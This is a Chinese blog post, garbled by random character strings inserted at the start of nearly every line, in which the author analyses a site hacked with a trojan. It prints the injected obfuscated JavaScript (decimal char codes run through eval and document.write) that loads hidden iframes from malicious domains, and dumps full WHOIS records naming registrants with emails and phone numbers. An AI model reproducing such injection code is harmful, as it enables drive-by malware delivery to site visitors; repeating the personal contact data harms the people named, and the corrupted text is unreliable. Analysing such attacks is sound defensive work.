首发在我的博客里面，
PG+ICg %Gh!h4Pv http://www.areway.cn/?p=175 -"#;U`.oh7 _.yBX\tf[ =X]$J@j 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
|?i-y3N pd/{yX M <script>t=’60,105,102,114,97,109,101,
q>?uB4>^ 32,115,114,99,61,104,116,116,112,58,47,47,
7P|GKN~ 102,114,101,101,46,117,45,117,117,117,46,99,
zH eqV 110,47,101,114,114,111,114,46,104,116,109,
Z<;am 32,119,105,100,116,104,61,49,48,48,32,104,
_/ ]4:(" 101,105,103,104,116,61,48,62,60,47,105,102,
4F^(3RKZ| 114,97,109,101,62′;
+'x|VPY.PG t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
ZQZ>{K grp1nWAs <script>t=’60,105,102,114,97,109,101,32,115,
oX8e} 114,99,61,104,116,116,112,58,47,47,102,114,
o&-q.;MY 101,101,46,117,45,117,117,117,46,99,110,47,
lL/|{A|-j 101,114,114,111,114,46,104,116,109,32,119,
P0Z1cN} 105,100,116,104,61,49,48,48,32,104,101,105,
$
nx&(V 103,104,116,61,48,62,60,47,105,102,114,97,
IhhB^E| 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
uwU ;glT document.write(t);</script>
L?23Av0W LSs!U
3" <html xmlns=”
8%@7G* http://www.w3.org/1999/xhtml ZEiW\ V “>
2aNCcZw0 <head>
$2~I-[ <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Dh *Uv, <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
t l !o;`W <title>首页 - 爱生活家庭网
y_;LTCj? {|9x*I 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
q$Gf9&Z O 转换字符串后的大概内容是（谁点击后果自付）：
MR} GxI <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
-NGY+1 E %FCOKw_ 查询玉米u-uuu.cn的详细信息：
8*k#T\ Domain Name: u-uuu.cn
H<92tP4M ROID: 20070901s10001s64972306-cn
*VmJydd Domain Status: ok
j,?>Q4 G Registrant Organization: 王雷
T O ^}z Registrant Name: 王雷
o4^rE<vJ Administrative Email:
czlovexs@126.com %3M1zZY Sponsoring Registrar: 北京万网志成科技有限公司
H.3+5 po Name Server:ns.yovole.com
A'^y+42jY Name Server:ns1.yovole.com
&!x!j ,nT Registration Date: 2007-09-01 17:54
*fQ $ s Expiration Date: 2008-09-01 17:54
IV] s! 最后PING了一下地址 都没有什么….
E Z15 Vcm9:,Xlw 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
87.b7 b. <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
{9S= : <script language=”javascript” src=”
~G+o;N,V http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script F @~zVu3' >
p~vq1D6 这个玉米应该有可能是木马作者的：
5xtIez]x? foafau.info的详细信息：
Ztu _UlGC Access to INFO WHOIS information is provided to assist persons in
8+5 z -vd determining the contents of a domain name registration record in the
uQIa"u7 Afilias registry database. The data in this record is provided by
'85 @U`e. Afilias Limited for informational purposes only, and Afilias does not
v1*Lf/ guarantee its accuracy. This service is intended only for query-based
Lf`LFPKb access. You agree that you will use this data only for lawful purposes
35|F?Jx.r and that, under no circumstances will you use this data to: (a) allow,
!$ItBn /_ enable, or otherwise support the transmission by e-mail, telephone, or
}d? "i@[ facsimile of mass unsolicited, commercial advertising or solicitations
yhh W4rz to entities other than the data recipient’s own existing customers; or
=B-a]?lM (b) enable high volume, automated, electronic processes that send
yqi=9NB queries or data to the systems of Registry Operator, a Registrar, or
~<!b}Hv Afilias except as reasonably necessary to register domain names or
~ "6/ OJA modify existing registrations. All rights reserved. Afilias reserves
\D}K{ P the right to modify these terms at any time. By submitting this query,
)FVW/{NF@q you agree to abide by this policy.
,Wtod|vx\U Domain ID:D22418703-LRMS
n%yMf!M
.: Domain Name:FOAFAU.INFO
|E/U(VS3l~ Created On:20-Nov-2007 16:05:42 UTC
<!g q 9 Last Updated On:20-Nov-2007 16:05:44 UTC
WP{ !|d& Expiration Date:20-Nov-2008 16:05:42 UTC
Xk8+ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
zX *+J"x Status:CLIENT DELETE PROHIBITED
MLf,5f;e Status:CLIENT RENEW PROHIBITED
f4eLnY Status:CLIENT TRANSFER PROHIBITED
mMo<C_~w& Status:CLIENT UPDATE PROHIBITED
!#s1'x{o Status:TRANSFER PROHIBITED
iU]py Registrant ID:GODA-040110615
s
wgn( - Registrant Name:liu hong
G$FNofQx Registrant Organization:
ta i Registrant Street1:beijing
Hry*.s - Registrant Street2:
j[2?} ? Registrant Street3:
EA_6L\+8& Registrant City:beijing
o0t/ Registrant State/Province:
C QO gR GW Registrant Postal Code:100000
YbjeM6#E Registrant Country:CN
BIyNiol$AJ Registrant Phone:+86.860108888777
s 2s}5b3 Registrant Phone Ext.:
j <[+vr j Registrant FAX:
4|i.b?" Registrant FAX Ext.:
0`y;[qAG[ Registrant Email:bbbshiji@163.com
yf5X=f .%@ Admin ID:GODA-240110615
)Nv$ SH Admin Name:liu hong
f~nAJ+m= Admin Organization:
jF4h/((|EU Admin Street1:beijing
H]>b< Cs Admin Street2:
z@5t7e)!R Admin Street3:
(9R;a np Admin City:beijing
~{MmUp rS Admin State/Province:
u7R:7$ H Admin Postal Code:100000
pI*/ - !I Admin Country:CN
c}(fmJB&( Admin Phone:+86.860108888777
,2hZtJ<A Admin Phone Ext.:
mNUc g{ +/ Admin FAX:
(5AgI7I, Admin FAX Ext.:
aI @&x Admin Email:bbbshiji@163.com
TX x%\ V_6 Billing ID:GODA-340110615
e+J|se4L5 Billing Name:liu hong
cu&tdg^q Billing Organization:
--Dd ' Billing Street1:beijing
T 9lk&7W Billing Street2:
V$e \84< Billing Street3:
:$eg{IXC" Billing City:beijing
haj\Dm Billing State/Province:
G+Vlaa/7 Billing Postal Code:100000
>(>Fx\z} Billing Country:CN
1%W|>M` Billing Phone:+86.860108888777
h!# !}|Q' Billing Phone Ext.:
+Ja9p Billing FAX:
3 8(Cj~u=3 Billing FAX Ext.:
LZC) vF5 Billing Email:bbbshiji@163.com
F@=)jrO=$ Tech ID:GODA-140110615
|/LCwq% Tech Name:liu hong
V *2 =S Tech Organization:
QvB]?D#h Tech Street1:beijing
tTa" JXG Tech Street2:
,1>A Bz Tech Street3:
X[pk9mha Tech City:beijing
qSj$0Hq5XI Tech State/Province:
p_z_d6? Tech Postal Code:100000
ZUE?19GA Tech Country:CN
- 26GOS_8z Tech Phone:+86.860108888777
T/8*c0mU Tech Phone Ext.:
9n ][#I)a3 Tech FAX:
&gIDcZ Tech FAX Ext.:
f#9DU}2m Tech Email:bbbshiji@163.com
e*[M*u Name Server:NS27.DOMAINCONTROL.COM
_Se~bkw?v Name Server:NS28.DOMAINCONTROL.COM
-t28"jyj Name Server:
'W0?XaEk- Name Server:
RJMrSz$ Name Server:
?R2`RvQ Name Server:
gm;6v30e Name Server:
'k2Z$+ Name Server:
Iz; hje4JL Name Server:
P<@Yux# Name Server:
Mk- C&#' Name Server:
"+^d.13+] Name Server:
JvFU7`4@ Name Server:
i,G )kt'H &W 1{o&
接着下载每个文件里面的代码：
9p,<< 5{ 一步一步看..
v&CKtk!3{ 
T?=[6 
F[ca4_lK 
RU`m|< 
Epm'u[wV 
;jb+ x5t 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
